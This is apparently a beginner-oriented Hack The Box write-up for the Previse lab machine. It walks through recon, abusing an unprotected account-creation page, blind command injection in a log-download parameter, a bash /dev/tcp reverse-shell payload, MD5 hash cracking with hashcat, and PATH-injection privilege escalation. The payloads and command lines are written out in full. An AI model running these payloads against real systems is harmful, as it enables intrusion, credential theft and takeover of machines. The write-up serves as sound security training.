Hack The Box Writeup: Previse - SSHad0w
Tags: cybersecurity, security, hackthebox, beginners
Published: 2022-01-08 19:03:09

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/d0548lgl51c9bjhqhp87.png)

This is a beginner friendly writeup of Previse on Hack The Box. hope you learn something, because I sure did! Be sure to comment if you have any questions! 

# Recon

## Adding the ip to the `hosts` file

Before anything else, we will add the ip address to our `/etc/hosts` file.

`sudo vi /etc/hosts`

Add the ip of the machine and the hostname to the file.

## Nmap

```
# Nmap 7.91 scan initiated Thu Dec 30 21:53:49 2021 as: nmap -sCV -p22,80 -oN previse.nmap previse.htb
Nmap scan report for previse.htb (10.10.11.104)
Host is up (0.029s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 30 21:53:56 2021 -- 1 IP address (1 host up) scanned in 7.87 seconds

```

Since there are few attacks that can be preformed on port 22, port 80 has the highest priority. Webservers normally have a lot of attack surface, so we'll inspect that first.

## Port 80

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2vwlgsw10g52iiu9smrh.png)

Seems like a login portal... Nowhere to register so we can't login.

## Gobuster

Gobuster is a common tool for enumerating webservers and learning more about the content being stored on server. It can expose obscure directories, find [virtual hosts](https://en.wikipedia.org/wiki/Virtual_hosting) and arbitrary files that would be hard to find by manually fuzzing. Its often used by providing a wordlist to iterate through and search for information based on the wordlist provided.

### Enumerating directories with Gobuster

`gobuster dir -u http://previse.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt`

This time, it returned very little, but it is always a good idea to check!

### Enumerating Virtual Hosts with Gobuster

`gobuster vhost -u previse.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt`

This time, it returned nothing, but it is always a good idea to check!

### Enumerating files with Gobuster

`gobuster dir -u http://previse.htb -x php -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt`

So we found some files!

```
┌──(kali㉿kali)-[~/Documents/htb/previse]
└─$ cat gobuster_file.txt | grep 200  
[+] Status codes:   200,204,301,302,307,401,403
/login.php (Status: 200)
/config.php (Status: 200)
/header.php (Status: 200)
/footer.php (Status: 200)
/nav.php (Status: 200)
```

Let's try enumerating each of the pages and learning what each of them are for. We can inspect them using a popular web application security audit tool, [Burp Suite](https://www.geeksforgeeks.org/what-is-burp-suite/).

## `/nav`

After inspecting each of the pages, I notice `/nav` page displays a navigation page that leads to more directories on the site.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bvitnl00bel3vyo56dma.png)
 
## `/index.php`

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lbw43o0pjzsleiel2fv1.png)

Just the "main page". Often times `/index.php` is just a splash page.

## `/accounts.php`

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xiesbpsvo5pzvkx8bapg.png)
 
This is clearly a page that only administrators should see. If we could find a way to control this page, we can create an account for ourselves and authenticate.

## `/files.php`

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8p87xcd0edty38qn4gd1.png)

This page seems to be another "admin only" page. It has file upload/download functionality, so we may be able to leverage that later. 

## `/status.php`

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zi8kfretubng5kkf3i75.png)

This tells us that there is a SQL server online, the amount of files uploaded and shows how many administrators are logged in simultaneously. This information may be valuable later as well.

## /file_logs.php

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/b5mec8kb1kr6h4z8zih4.png)

This page is responsible for outputting the logfiles as a comma, tab, or space delimited files.

## Adding our own account

I decided to just look at the source code of the page to add my own account.

Looking back at the `/accounts.php` page, we can see within the source code a few of the parameters required to create a new user.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6jdl7jcyu7cwkxzkoqnk.png)

We can see the typical `username`,`password` and `confirm` fields. 

From here, we submit a request that creates an administrative account. 

### Adding the user

```
username=SSHad0w&password=SSHad0w&confirm=SSHad0w
```
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2lpcisothtot5ghytpxz.png)

## Authenticated

Once we submit the form, we are allowed to log in to the file hosting server.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7tromhu3fagk20i52o3w.png)
 
Just to check, we browse over to the `status.php` page to ensure that the number of admins increased.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fkjk7hydpnpr5dlp52dj.png)

>If you're using this box alone, there will only be 2 admins, but if you created multiple accounts or there are other people in the lab, you may see a higher number.

## Downloading log files

We can download log file as CSV, TSV, or SSV.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hsfm8wlirqlkxptuc5uw.png)
 
## Downloading the site backups

Now that we have access, let's download the source code of the website.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/y9pyaptjto7yn8h8pmvh.png)
 
We can unzip it with the `unzip` command.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yk4zhoqxhi72h8old3hf.png)

## Source code disclosure

Now, we can peer into the PHP to learn more about the site functionality and hunt of vulnerabilities using static source code analysis. Let's put our PHP hat on!

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/oq09yhpd3w5n4gtlfx6k.png)
 
## `Download.php`

The `download.php` file contains the following:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uyxjmst3dgloovrmo3jc.png)

 
```php
<?php                             
session_start();                  
if (!isset($_SESSION['user'])) {  
    header('Location: login.php');
    exit;
}                                 
?> 
                               
<?php include( 'config.php' ); ?>

<?php
if (isset($_GET['file'])) {
    // Log all file attempts, because security is important!!
    $logFilename = "/var/www/file_access.log";
    $epochTime = getdate()[0];
    $logMsg = "{$epochTime},{$_SESSION['user']},{$_GET['file']}";
    file_put_contents($logFilename, $logMsg . "\n", FILE_APPEND);
    if (!filter_var($_GET['file'], FILTER_VALIDATE_INT)) {
        http_response_code(404);
        exit;
    } else {
        $fileId = filter_var($_GET['file'], FILTER_SANITIZE_NUMBER_INT);
        $db = connectDB();
        if ($db === false) {
            die("ERROR: Could not connect. " . $db->connect_error);
        } else {
        $sql = "SELECT name, size, data FROM files WHERE id = {$fileId} limit 1;";
        $result = $db->query($sql);
        $row = mysqli_fetch_assoc($result);
        header("Content-Description: File Transfer");
        header("Content-Type: application/octet-stream");
        header("Content-Length: " . $row['size']);
        header("Content-Disposition: attachment; filename=" . $row['name']);
        ob_clean(); // Discard any data in the output buffer
        flush(); // Flush system headers
        echo $row['data'];
        $result->free();
        }
    }
    $db->close();
} else {
echo '<div class="uk-alert-danger">Nothing requested!</div>';
}
?>
```

Immediately, my eye is drawn to the line that contains the `include()` method. [The PHP include() method is know to be a security issue.](https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/)

Since the `config.php` page is the one the `include()` method references, I assume that the db credentials may be stored in that file.

Let's check out `config.php`. 

## `config.php`

Most files named `config.*` have some sort of credentials, default configuration settings, or other important information that helps lead to security incidents when in the wrong hands. Here we can see plaintext database credentials that may be useful later.

```php
<?php
function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;
}
?>
```

## SQL Credentials

The `config.php` file include `download.php` file contains credentials to the database.

Credentials:
`root:mySQL_p@ssw0rd!:)`

Database name:

`previse`

## Connecting to the database

I can't yet because the port isn't open on the outside. I have to get on the box first. I have a **prevision** that we'll be logging into a SQL server soon!

## `file_logs.php`

On this page, we have a statement that utilizes a different language to parse files. The PHP `exec()` command executes shell commands directly on the operating system itself, so while this appears to be a python expression, this is actually a `bash` command executing the `python` binary.

```php
<?php
session_start();
if (!isset($_SESSION['user'])) {
    header('Location: login.php');
    exit;
}
?>

<?php
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
    header('Location: login.php');
    exit;
}

/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////

$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;

$filepath = "/var/www/out.log";
$filename = "out.log";    

if(file_exists($filepath)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    ob_clean(); // Discard data in the output buffer
    flush(); // Flush system headers
    readfile($filepath);
    die();
} else {
    http_response_code(404);
    die();
} 
?>
```

Since we have control over the input, we can try to inject commands into this poorly implemented parsing string.

## Discovering blind command injection

Because of the implementation of this [Blind OS command Injection vulnerability](https://portswigger.net/web-security/os-command-injection), we are not able to read STDOUT, but we still have a few ways to verify that we are controlling the webserver.

### Time based OS injection

As it says on [Portswigger.net](https://portswigger.net/web-security/os-command-injection):
>"You can use an injected command that will trigger a time delay, allowing you to confirm that the command was executed based on the time that the application takes to respond. The ping command is an effective way to do this, as it lets you specify the number of ICMP packets to send, and therefore the time taken for the command to run.""

A simplified version of the above: "Use a time delay command to force the server to wait before giving you a response."

This is the request when it hasn't be augmented (cut down to the vulnerable parameter for space reasons):
`delim=tab`
It takes approximately 462 milliseconds.

`delim=tab&&ping -c 20 google.com` (remember to URL encode!)
Takes approximately 7,186 milliseconds.

This is a positive result, but let's confirm it with the `sleep` command.
 
 Payload:
`delim=tab&&sleep 20`
Url encoded payload:
`delim=tab%26%26sleep%2020`
Takes approximately 20,488 milliseconds.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/i43qu03dtojfbw1wglpp.png)
 
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/s7ds7mpwwc0kqo0sylgq.png)

This is perfect! It takes approximately ~470 ms to respond, and the extra time is from our sleep command. We have confirmed **remote code execution**, or RCE for short.

## Using curl to test remote code execution

Before we move on, let's learn another way to confirm RCE. Hackers often have to understand many ways to complete a task, as one may not work from time to time. Let's use `curl` (a popular command line request tool for *nix systems.)

Step 1.
Start a listener on your attack machine with a command like `nc -nvlp 4444` (or use your favorite listener). 

`delim=tab;curl 10.10.14.10:4444` (Remember to URL encode!)

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r54ybe83yr7cngq49iq5.png)
 
Some people prefer this as a proof of concept because they can connect back to themselves.

## Popping a reverse shell

Now that we have RCE, we will leverage it to give ourselves a reverse shell.

Step 1.
Start a listener on your attack machine with a command like `nc -nvlp 4444` (or use your favorite listener). 

Payload:

`delim=comma%26%26/bin/bash+-c+'bash+-i+>+/dev/tcp/10.10.14.10/4444+0>%261'`

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3c8gttitkbmyihwwtqc1.png)
 
### Upgrading the shell

Since I see the `python` binary, I am going to upgrade the shell using the following: `python -c 'import pty; pty.spawn("/bin/bash")'`

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/m2nel09k0w57ddt8ss6f.png)

This allows us to use a lot more features, and even have a more stable connection.

## Privilege Escalation

Now that we have a shell, we want to gain more access. `www-data` can preform certain actions that unauthenticated users can't, but our goal is to gain total access over the machine. 

Even though we would normally go through our typical privesc techniques and post exploitation enumeration methods, we are first going to investigate the database with the credentials we found earlier.

## Locating MySQL

First, we will check if we have `telnet` on the machine to see if we can reach the instance of MySQL from the inside of the machine.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/e9h7uysqkvamf138ealp.png)

It seems the machine accepts connections from `localhost` on port `3306`.

Let's attempt to login with the credentials we found earlier:

## Logging into MySQL

`mysql -u root -p'mySQL_p@ssw0rd!:)'`

Note that the password does NOT have a space after the `-p` flag and that it is enclosed in single quotes. `'` These two things are ***very*** important when establishing a local connection with a mysql server.

Example:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5yo0fcn4vly9u4wvw2gm.png)

## Enumerating the MySQL database

Now that we've authenticated, let's enumerate the database.

We can use the `show databases` command to show the databases within this instance of SQL. Keep in mind that the `previse` database was the one references in the PHP file earlier. Let's check that one out first.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5kdx6nz2uw1xmcv3ekf0.png)

First we use the `show databases` command to show the databases within this instance of SQL. From there, we use the `use` command, to select the database we'd like to inspect, and the `describe` command to inspect tables within the database we're currently using.

### Finding the passwords

After running the command `select username, password, from accounts;`, we can see the password hashes for all of the accounts on the site. Including the first admin, `m4lwhere`.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ut1k6t0h1fcvnsuytns8.png)
 
```MySQL
+----------+------------------------------------+
| username | password                           |
+----------+------------------------------------+
| m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. |
| SSHad0w  | $1$🧂llol$elwMtr/dbrrAdw/Eb6S/K. |
+----------+------------------------------------+
2 rows in set (0.00 sec)
```

A few basic sql privesc commands to try before leaving

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/846fv25uz7ovduaw2xjz.png)

## Understanding the hashes

Now that we've found the hashes, we need to talk about how password hashes work before we attempt to crack them.

### Breaking down the hash:

Take this hash for example:

```MD5
$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.
```

[As explained here](https://unix.stackexchange.com/questions/557319/how-to-know-if-password-in-etc-shadow-is-hashed-with-sha-or-md), each `$` denotes a new section of the hash. The first `$` denotes the type of hash, the second `$` denotes the salt, and the characters after 3rd `$` is the hash itself.

A direct quote:

> "...A password encrypted by one of these algorithms would look like `$1$salt$encrypted` (for MD5), `$5$salt$encrypted` (for SHA-256), or `$6$salt$encrypted` (for SHA-512), where each `$` is a literal `$` character, where salt is a salt of up to 16 characters, and where encrypted is the actual hash."

This will be be *very* important when we crack the hashes.

### Identifying the hash algorithm

Even though the above excerpt explains that "one of these algorithms would look like `$1$salt$encrypted` (for MD5)", we will go through the process of identifying the hash algorithm to familiarize ourselves with the process, and prepare for when we do not recognize the hash type immediately.

#### Hashcat

Even though there are many ways to do this, we will use `hashcat` . Hashcat a powerful password cracking tool. Hashcat has an `--example-hashes` flag will show a lot of standard hash types and what their signatures are. From there, we look for any patterns that match the `$1` pattern we see at the beginning of our hashes.

`hashcat --example-hashes | grep '\$1' -B4`

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zt9w4cl18hvejsf43zzn.png)

```
┌──(kali㉿kali)-[~/Documents/htb/previse]                  
└─$ hashcat --example-hashes | grep '\$1' -B4
HASH: $P$946647711V1klyitUYhtB8Yw5DMA/w.
PASS: hashcat
MODE: 500    
TYPE: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)           
HASH: $1$38652870$DUjsu4TTlTsOe/xxZ05uf/  
--
PASS: hashcat
```
Now we know that the hash is MD5. This is a very common type of hash, so some people may know just from looking at it, but now we know how to identify password hashes that we aren't familiar with.

As it says here, MD5 is "mode 500. This will be important later.

### Cracking the hashes

Finally! Now that we've done the ground work, we can crack our hashes.

#### Store the hashes in a file

I put the hashes in a file with a colon delimiter and called it `hashes.txt` like so:

```
m4lwhere:$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.
SSHad0w:$1$🧂llol$elwMtr/dbrrAdw/Eb6S/K.
```

We'll keep using hashcat to crack the hashes. The following command is what we'll use:

`hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txt --user`

A quick breakdown of the command:

* The `-m 500` tells hashcat to crack using the MD5 algorithm. This way it doesn't waste time trying other possible algorithm.

* The `/usr/share/wordlists/rockyou.txt` is the wordlist that hashcat will compare the hashes to. `rockyou.txt` is the largest, and [widely considered the best wordlist for password cracking](https://en.wikipedia.org/wiki/RockYou).
* The `--user` flag tells hashcat that the username is on the left of the passwords in the standard `username:password` format. This allows hashcat to keep the username and password together if it finds a match.

We found the password! The credentials are `m4lwhere:ilovecody112235!`.

Now we can `su` to the user, or simply login as `m4lwhere` over SSH.

I prefer SSH for a higher quality shell and more stable connection.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/a7otrtmz57yi4a53mi0q.png)

## Privilege Escalation

Although there are a 1024 ways to skin a cat, we will try one of the simplest privilege escalation techniques in the book: `sudo -l`.

This command searches the system for binaries that can be executed as other users, possibly with more (or different) privilege.

Finding and exploiting [SUID](https://www.linux.com/training-tutorials/what-suid-and-how-set-suid-linuxunix/) binaries are very common in boot to root CTFs, so this command is at the top of my list for privesc methodology.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mvl5erzlry1vxq9bebx3.png)
 
There is s SUID program running as `root` on the system. If we can exploit that binary, we can gain arbitrary command execution at the root level.

If we had write access, we would simply edit it and write a reverse shell in the script. Since we don't, we'll have to use the environment around it to find a way to execute our code.

Since we have read access, let's view the file:

```sh
m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh 
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
```

From here, we learn a few things:

1.  This script is being run automatically with a crontab (and we can execute it).
2.  The log file that we write to when we make actions on apache is what's being operated on.

## How the script works

It calls a program called `gzip` which is basically a popular compression program used in the Linux world.

The argument specified `-c` is used to print the compressed file's contents to STDOUT.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6kxjz6dq7olzfjprwq5h.png)

Even in the man pages, there are examples of the user using a redirect operator with the `-c` option.

Let's try to unzip this compressed text, as we may need to read the data at some point.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/t1i5cmsi26wavsw4gnf5.png)

As we can see, piping STDIN to `gunzip` (the antithesis of `gzip`) displays the original content, or prints it to STDOUT.

Now that we've done that proof of concept, let's try it on the real server.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kj4gaqrxxajdbyrtobi8.png)

It works! We can read the zipped files. This may be helpful later.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gbsa325h464lwk4aoj8g.png)

After doing some enumeration, we see that we do have edit privilege for the `/var/www/file_access.log` file, and not the other file referenced in the script.

The is the same file that can be downloaded by admins on the webserver.

## The date command

The `date` command is a very simple command used in UNIX to display the exact date and time. Since this program uses the `date` command as a variable, if I can find a way to control the output of the `date` command, I can run code as root.

Let's try it on our own machine.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9vwb4lz7i8eqe0d65y1r.png)

If we can change the version of `date` being called, we can also control the execution flow of the SUID binary.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qbe5nm0mh0zzfaqjz6tm.png)
 
We cannot edit the `date` command, as it is owned by root.

## PATH Injection

What we can do is modify the PATH that the `date` command uses. Even though the binary is owned by root and in `/opt/scripts/`. We can change our PATH to a world writeable directory (like `/tmp`, `/dev/shm`, etc...), write a reverse shell in the false `date` command and run the binary. 

The program views the environment it's being executed in and runs the local version of `date` instead of the correct version. 

This is a standard example of ["PATH injection" or "Environment Variable injection"](https://int0x33.medium.com/day-29-set-user-id-environment-variable-injection-path-user-for-linux-priv-esc-ea6c0adc19b8).

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cvg2en2m4skxbkz94spl.png)

## Root shell

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/54vdm88kcrvcwhifwf16.png)
 
Please let me know in the comments if you have any questions, suggestions, or alternate paths!

Remember to always ask better questions!